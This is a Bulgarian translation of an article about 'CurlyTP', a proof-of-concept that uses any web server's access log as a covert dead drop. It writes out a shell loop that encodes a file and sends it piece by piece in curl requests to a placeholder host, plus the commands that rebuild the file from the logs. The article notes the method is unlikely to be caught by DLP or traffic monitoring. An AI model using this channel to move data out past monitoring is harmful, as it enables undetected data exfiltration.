Според дефиницията на Wikipedia, мъртвата точка е инструмент за конспирация, който служи за обмен на информация или някои елементи между хора, използващи тайно местоположение. Идеята е, че хората никога не се срещат - но въпреки това обменят информация, за да поддържат оперативната безопасност.

Скривалището не трябва да привлича внимание. Затова в офлайн света те често използват дискретни неща: разхлабена тухла в стената, библиотечна книга или кухина в дърво.

В интернет има много инструменти за криптиране и анонимизиране, но самият факт на използването на тези инструменти привлича вниманието. Освен това те могат да бъдат блокирани на корпоративно или правителствено ниво. Какво да правя?

Разработчикът Райън Флауърс предложи интересна опция - използвайте всеки уеб сървър като скривалище. Ако се замислите, какво прави уеб сървърът? Получава заявки, издава файлове и записва логове. И регистрира всички заявки, дори и неправилни!

Оказва се, че всеки уеб сървър ви позволява да запазите почти всяко съобщение в дневника. Цвети се чудеха как да използват това.

Той предлага следния вариант:

1. Вземете текстов файл (тайно съобщение) и изчислете хеша (md5sum).
2. Ние го кодираме (gzip+uuencode).
3. Пишем в дневника, като използваме умишлено неправилна заявка към сървъра.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

За да прочетете файл, трябва да извършите тези операции в обратен ред: декодирайте и разархивирайте файла, проверете хеша (хешът може безопасно да се предава по отворени канали).

Интервалите се заменят с =+=така че да няма интервали в адреса. Програмата, която авторът нарича CurlyTP, използва кодиране base64, като прикачени файлове към имейл. Заявката се прави с ключова дума ?transfer?така че получателят да може лесно да го намери в регистрационните файлове.

Какво виждаме в дневниците в този случай?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Както вече споменахме, за да получите тайно съобщение, трябва да извършите операциите в обратен ред:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Процесът е лесен за автоматизиране. Md5sum съвпада и съдържанието на файла потвърждава, че всичко е декодирано правилно.

Методът е много прост. „Смисълът на това упражнение е просто да докажем, че файловете могат да се прехвърлят чрез невинни малки уеб заявки и то работи на всеки уеб сървър с дневници с обикновен текст. По същество всеки уеб сървър е скривалище!“, пише Флауърс.

Разбира се, методът работи само ако получателят има достъп до регистрационните файлове на сървъра. Но такъв достъп се предоставя например от много хостери.

Как се използва?

Райън Флауърс казва, че не е експерт по информационна сигурност и няма да състави списък с възможни употреби на CurlyTP. За него това е просто доказателство за концепцията, че познатите инструменти, които виждаме всеки ден, могат да се използват по нетрадиционен начин.

Всъщност този метод има редица предимства пред други сървърни „скривания“ като Цифрова мъртва капка или PirateBox: не изисква специална конфигурация от страна на сървъра или някакви специални протоколи - и няма да събуди подозрение сред тези, които наблюдават трафика. Малко вероятно е SORM или DLP система да сканира URL адреси за компресирани текстови файлове.

Това е един от начините за предаване на съобщения чрез сервизни файлове. Спомняте си как пласираха някои напреднали компании Работа за разработчици в HTTP хедъри или в кода на HTML страници.

Идеята беше само уеб разработчиците да виждат това великденско яйце, тъй като нормален човек не би погледнал заглавките или HTML кода.

Източник: www.habr.com